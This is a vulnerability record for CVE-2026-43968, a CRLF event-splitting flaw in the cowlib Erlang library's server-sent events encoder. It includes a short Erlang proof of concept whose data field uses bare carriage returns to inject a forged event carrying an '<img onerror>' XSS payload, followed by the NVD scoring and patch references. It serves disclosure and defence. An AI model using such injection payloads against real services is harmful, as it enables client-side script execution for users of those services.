CVE-2026-43968

%% PoC Concept: Injecting a malicious event using Carriage Return %% Vulnerable component: ninenines cowlib < 2.16.1 -module(cve_poc). -export([inject/0]). inject() -> %% Normal event data controlled by user Id = "123", %% Malicious payload injecting CRLF (\r) to split the event %% This injects a new 'event: hack' and 'data: <script>...' Data = "normal_data\revent: hack\rdata: <img src=x onerror=alert(1)>", %% In vulnerable versions, cow_sse:event/1 processes this. %% The output stream sent to the browser will look like: %% id: 123 %% data: normal_data %% event: hack %% data: <img src=x onerror=alert(1)> %% The browser EventSource API treats the \r as a line terminator, %% effectively splitting the event and executing the XSS payload. io:format("Payload: ~p~n", [Data]).

{"cve": {"id": "CVE-2026-43968", "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "published": "2026-05-11T19:16:25.100", "lastModified": "2026-05-21T13:59:07.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in ninenines cowlib allows SSE event splitting and injection via unvalidated field values.\n\ncow_sse:event/1 in cowlib guards the id and event fields against \\n but not against bare \\r, and the internal prefix_lines/2 function used for data and comment fields splits only on \\n. Because the SSE specification requires decoders to treat \\r\\n, \\r, and \\n as equivalent line terminators, an attacker who controls any of these fields can inject additional SSE lines and forge a complete event with an arbitrary event type and data payload on the receiving end. In typical deployments where browser EventSource clients or other SSE consumers dispatch on event.type and render event.data, this enables event splitting, client-side logic manipulation, and stored-XSS-equivalent behaviour when event data is inserted into the DOM.\n\nThis issue affects cowlib from 2.6.0 before 2.16.1."}], "metrics": {"cvssMetricV40": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ninenines:cowlib:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.0", "versionEndExcluding": "2.16.1", "matchCriteriaId": "481B089B-8D5C-40D8-B1F0-4E543F63F602"}]}]}], "references": [{"url": "https://cna.erlef.org/cves/CVE-2026-43968.html", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/ninenines/cowlib/commit/6165fc40efa159ba1cceee7e7981e790acba5d9c", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Patch"]}, {"url": "https://osv.dev/vulnerability/EEF-CVE-2026-43968", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Third Party Advisory"]}]}}